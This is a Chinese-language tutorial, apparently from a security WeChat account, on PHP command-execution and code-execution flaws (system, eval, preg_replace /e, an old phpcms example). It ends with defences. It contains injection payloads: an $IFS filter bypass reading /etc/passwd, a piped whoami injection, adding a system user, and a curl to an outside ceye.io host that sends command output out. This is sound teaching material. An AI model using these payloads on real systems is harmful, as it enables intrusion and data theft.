文本独家广告赞助商:安全龙
2013年申请的公众号,现在换了主体,并升级为服务号;5年之痒。创业就是坚定的目标,不断革新。只要与发展有关,就要不惜割掉旧的所谓积累,寻找跟好的路径。更像是在航海啊。
新的安全龙公众号ID:safe443
正文
代码执行与命令执行这两个漏洞的原理都差不多,还是分开来说。
首先命令执行,比如系统的一些功能需要调用一些执行系统相关的函数时,但是对这些函数的传值没有过滤及防范,就造成了命令执行,我们来看看,在php中能执行命令的一些函数
system ,exec ,shell_exec,passthru,popen,proc_popen 等。
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
popen()、proc_open() 不会直接返回执行结果,而是返回一个文件指针
我们演示system函数来写一些演示代码
这里使用GET请求接收了一个test参数,并且给了system函数进行执行命令
所以说,我们只要在参数后面传值,那么代码就会执行,这里执行的是系统的命令,比如whoami,ipconfig,net user,set等等。
shell_exec以及其他函数同理
执行ipconfig
那么,我们可以用这个漏洞做什么?1 用等同于web的权限执行文件读写
使用echo xxx > xxx.xxx win下 type xxx.txt linux下 more xxx.txt
2用户的添加删除
net user xx xx /add
3 反弹shell
有时候,代码会进行各种各样的过滤,看一下过滤了什么,可以参考一些大佬的姿势。比如不能使用空格,可以使用 $IFS绕过 cat$IFS'/etc/passwd'
比如必须要用户输入ping,那么可以使用| ping 127.0.0.1|whoami
比如无回显,那么久可以试试curl 到ceye上 curl xxx.ceye.io/`pwd`
那么一般测试中,这类漏洞会出现在哪里?
搜索处、一些在线编译器的执行中等
挖一些代码的话,就直接搜索命令执行相关的函数,然后跟踪一下变量的传入,以及执行等相关操作。
再来说代码执行,常见的函数eval,assert,
执行phpinfo()
和命令执行差不多,
这里看一下
preg_replace函数
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码
这个函数可以执行代码,但是需要配合/e
第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令,这个很有意思。
通常这类漏洞挖起来,都是找相关敏感的函数,然后分析是否可以利用。
在旧版本的phpcms中,有一个string2array函数
然后找到调用
可以看到$data_arr是一个数组,他的键是通过post传进来的radio,没有进行额外的操作就insert进了数据库
相关的防御
必须使用eval的地方,一定严格处理用户数据
字符串使用单引号包括可控代码,尽量避免双引号以及反引号,插入前使用addslashes转义
放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
作者历史稿件:
文章版权说明: